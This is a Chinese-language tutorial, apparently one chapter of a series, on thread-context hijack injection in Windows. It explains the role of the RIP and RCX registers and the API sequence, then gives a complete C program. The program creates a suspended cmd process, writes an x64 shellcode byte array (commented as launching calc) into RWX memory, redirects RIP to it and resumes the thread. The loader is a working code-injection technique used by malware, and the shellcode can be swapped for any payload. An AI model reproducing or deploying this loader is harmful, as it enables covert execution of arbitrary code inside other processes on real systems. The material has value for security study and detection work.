12-设置上下文劫持注入(SetContext Hijack Injection)
一、前言
我们再来回顾一下在注入中常用寄存器的调用约定
// x64 注入
ctx.Rcx = 入口点地址
ctx.Rdx = PEB地址
ctx.Rip = 入口点
// x86 注入
ctx.Eax = 入口点地址
ctx.Ebx = PEB地址
ctx.Eip = 入口点
在x64架构中,RCX
和 RIP
是非常重要的寄存器,它们在程序执行和函数调用中扮演着关键角色。在 进程镂空注入(Process Hollowing Injection)
那一下节中我介绍了通过 RCX
在进程初始化阶段改变程序的入口点,进而完全劫持进程入口点(间接控制)。而本节介绍的通过 RIP
劫持程序的原理是与 RCX
完全不一的原理,RIP
在进程注入中的核心原理是直接控制程序执行流程。
通过 RCX
劫持程序技术原理的核心是:重定位程序入口点,劫持进程初始执行流程,可以作为指令指针重定向。
而通过 RIP
劫持程序的技术原理的核心是:完全劫持程序执行流,无条件跳转到指定内存地址,绕过正常程序逻辑。
二、流程
使用
CreateProcessA
创建一个进程,并设置为挂起状态(CREATE_SUSPENDED)。官方文档:CreateProcessA 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn使用
VirtualAllocEx
在目标进程中申请一块PAGE_EXECUTE_READWRITE
的内存区域。官方文档:VirtualAllocEx 函数 (memoryapi.h) - Win32 apps | Microsoft Learn使用
WriteProcessMemory
将shellcode写入目标内存区域中。官方文档:WriteProcessMemory 函数 (memoryapi.h) - Win32 apps | Microsoft Learn使用
GetThreadContext
获取指定线程上下文。官方文档:GetThreadContext 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn将RIP寄存器的值修改为shellcode存放的内存区域的起始地址。
使用
SetThreadContext+ResumeThread
设置线程上下文与恢复挂起进程SetThreadContext
官方文档:SetThreadContext 函数 (processthreadsapi.h) - Win32 apps | Microsoft LearnResumeThread
官方文档:ResumeThread 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn
三、代码实现
#include<Windows.h>
#include<stdio.h>
int main() {
// calc shellcode
unsigned char shellcode[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};
// 定义一些变量
STARTUPINFOA si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
// 使用 `CreateProcessA` 创建一个进程,并设置为挂起状态(CREATE_SUSPENDED)
CreateProcessA(NULL, (LPSTR)"cmd", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 使用 `VirtualAllocEx` 在目标进程中申请一块 `PAGE_EXECUTE_READWRITE` 的内存区域
LPVOID lpBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 使用 `WriteProcessMemory` 将shellcode写入目标内存区域中
WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL);
// 使用 `GetThreadContext` 获取指定线程上下文
GetThreadContext(pi.hThread, &ctx);
// 将RIP寄存器的值修改为shellcode存放的内存区域的起始地址
ctx.Rip = (DWORD64)lpBuffer;
// 使用 `SetThreadContext+ResumeThread` 设置线程上下文与恢复挂起进程
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
return 0;
}

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